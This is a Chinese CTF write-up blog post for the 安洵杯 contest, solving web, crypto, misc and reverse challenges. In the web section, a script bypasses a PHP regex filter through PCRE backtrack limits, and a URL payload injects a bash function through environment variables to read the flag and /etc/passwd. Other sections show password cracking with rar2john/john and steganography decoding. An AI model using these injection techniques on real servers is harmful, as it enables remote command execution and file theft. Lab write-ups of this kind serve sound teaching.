成电成都学院安洵杯wp

被骂挺惨,第一次遇到办了两天被骂的停办了的,不过确实办的不够好,打了两天我都没见到题目环境是啥,都是捡发的附件做。

签到

签到题

flag{welcome_to_i_soon}

WEB

babyweb

可以看出来出题人天天看p神文章👍👍全抄的人家博客上的👍👍

进入目标网页可以看到源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

$a = $_POST['heizi'];
if (isset($a)){
    if(substr($a,0,5) == "aikun" and substr($a,-10,10) == "xiaojijiao"){
        if ($a == "aikunxiaojijiao"){
            die("nononono");
        }
        if (preg_match('/aikun.+?xiaojijiao/is',$a)){
            die("Hack!!!");
        }
        system("ls");
    }else{
        die("what?");
    }
}
?>

很明显是绕preg_match,可以想到p神的文章PRCE回溯次数绕过,原理就是preg_match对字符判断是有上限的,它会从前到后一个字符一个字符判断,如果判断了的字符数量大于1000000会直接退出,不会继续判断,因此很明显我们得在aikun与xiaojijiao之间加一百万个字符,这样就绕过去了,脚本:

import requests

data={"heizi":"aikun"+"a"*1100000+"xiaojijiao"}

res = requests.post("http://182.148.156.200:9134/", data=data)

print(res.text)

绕过去之后会执行ls,我们可以看到下一关的路径:e4eeee4vaa1ll1we44ebf111a4g.php

<?php
error_reporting(0);
highlight_file(__FILE__);

foreach ($_REQUEST['env'] as $key => $value) {
    if (blacklist($value)) {
        putenv("{$key}={$value}");
    }else{
        echo "Hack!!!";
    }
}

system('echo doit');

function blacklist($a){
    if (preg_match('/ls|x|cat|tac|tail|nl|flag|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\-|\.|\[|\]|\'|\"|\\\\/is', $a) === 0){
        return true;
    }
    else{
        return false;
    }
}

?>

很明显,这就是p神最经典的那篇环境变量注入,我大一还写过分析。简单来说就是在环境变量可控的情况下,我们可以通过url?env[BASH_FUNC_echo()]=() { 命令; }的方式在centos下执行命令,具体原理可以去p牛的博客里看,此处不再赘述。

所以下一个难点就是找到可以读取文件的命令,这里已经ban的差不多了,不过还是没ban完,并没有ban diff这个命令,所以我们还是可以用diff flag /etc/passwd或者man /f*读取文件,最后payload:

http://182.148.156.200:9134/e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20diff%20/f*%20/etc/passwd;%20}

flag{hap1y~You~go@ooo1t~i1iIt}

除了这种方法外还能用的读取文件命令还有man,比如man /f*,还有sed命令也没被过滤,比如sed p /f*

CRYPTO

出题人麻了,随便敲的

键盘密码,键盘上包围的是明文

qwsxz a

3wsdr4 e

wazxde s

ygbnju h

8ujko9 i

5rfgy6 t

flag{aeshit}

MISC

摇滚少年的日记

一个套娃题。

解压附件得到一个1.txt,一个2.png,一个3.rar。

3.rar直接打打不开,用010editor看看,可以发现这个压缩包前面的字节码是PK,这是zip的特征,但我改成zip后缀也没打开,后来又想到那个感叹号zip的字节码里可能没有,只有Rar有,所以突然想到把前面的字节码改成Rar!,这下正常了

3.rar可以正常打开,但是需要密码,想试试爆破但Bandizip或者Arc都打不开它,说格式有误,可能某处做了防爆破?不过rar2john可以正常爆破,就用它了:

rar2john 3.rar
rar2john 3.rar > hash.txt
john hash.txt

得到密码10969我们可以打开那个rar了,里面有一个四点位法——架子鼓0,1节奏型训练.txt,打开一看全是0和1:

对数字敏感点会发现16900其实就是130的平方,所以这东西可能是个二维码

from PIL import Image
MAX = 130
pic = Image.new("RGB",(MAX, MAX))
with open('目标.txt', 'r') as f:
    str = f.read()
i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0, 0, 0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")

不是我们熟知的二维码,但可以用barcode-reader读出来:

MY_FIRST_STORY_IMMINENCE}

2.png后缀改成rar,解压出来可以得到一个2.txt,一个COEXIST.mp3。

foremost COEXIST.mp3得到一个压缩包,解压出来得到一个3.txt,一个COEXIST.mp3,一个key.ico,key.ico里的内容应该是base64隐写:

import base64

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
file = open("key.ico",encoding='utf-8')
flag=''
tmpbin=''

for line in file.readlines():
    line=line.strip('\n')
    if(line[-1]=='='):
        if(line[-2]=='='):
            i=table.index(line[-3])
            b=bin(i)[2:]
            b=b.zfill(6)
            print(line)
            print(b)
            print(b[-4:]+'\n')

            tmpbin+=b[-4:]
        else:
            i = table.index(line[-2])
            b = bin(i)[2:]
            b = b.zfill(6)
            print(line)
            print(b)
            print(b[-2:]+'\n')

            tmpbin+=b[-2:]

length= len(tmpbin)/8
for i in range(int(length)):
    flag+=chr(int(tmpbin[i*8:i*8+8],2))

print(flag)

#ôõ$dõ$UdU!Ð

跑出来的是个奇奇怪怪的东西,我逐个解码:

import base64

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
# file = open("flag.txt",encoding='utf-8')

file = open('key.ico','rb')

flag=''
tmpbin=''

for line in file.readlines():
    # line=line.strip('\n')
    line = line.decode().strip('\n\r')
    c = base64.b64decode(line).encode("utf-8")
    print(c)
print(flag)

发现除了中间一段外,其他全是歌词,所以把中间一段单独提取出来做base64隐写:

得到OORFOREVER

key.ico这里还有一段很奇怪的东西:

记事本打开就没有,所以应该是零宽度隐写

拼起来就是OORFOREVERLOVE

除了这种方法之外还可以用Byxs20开发的一把梭工具弄出来:

不但告诉你中间有零宽度隐写,直接Base64隐写也能解出来OORFOREVER

COEXIST.mp3的波频图里有数据:

TZRL{CEI_JO_IZQF_

前四个字符一看就是flag,尝试出来是维吉尼亚密码:

FLAG{ONE_OK_ROCK_

两个拼在一起:

FLAG{ONE_OK_ROCK_MY_FIRST_STORY_IMMINENCE} 也就是三个乐队的名字MY FIRST STORY的主唱是ONE OK ROCK主唱taka的亲弟弟。

我的评价是这是一道垃圾的套娃题,只知道把其他优秀题目的知识点全部抄过来,套娃层数太多了,放正规点的平台收题是不会收的。

RE

ctfshow原题,我上我都行,flag都没改

a = b'/..v4p$$!>Y59-'
b = b')(*&^%489$!057@#><:2163qwe'
v = 0
for i in a:
    v = v*26+b.index(i^7)
 
print(v)
#2484524302484524302
#flag{2484524302484524302}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇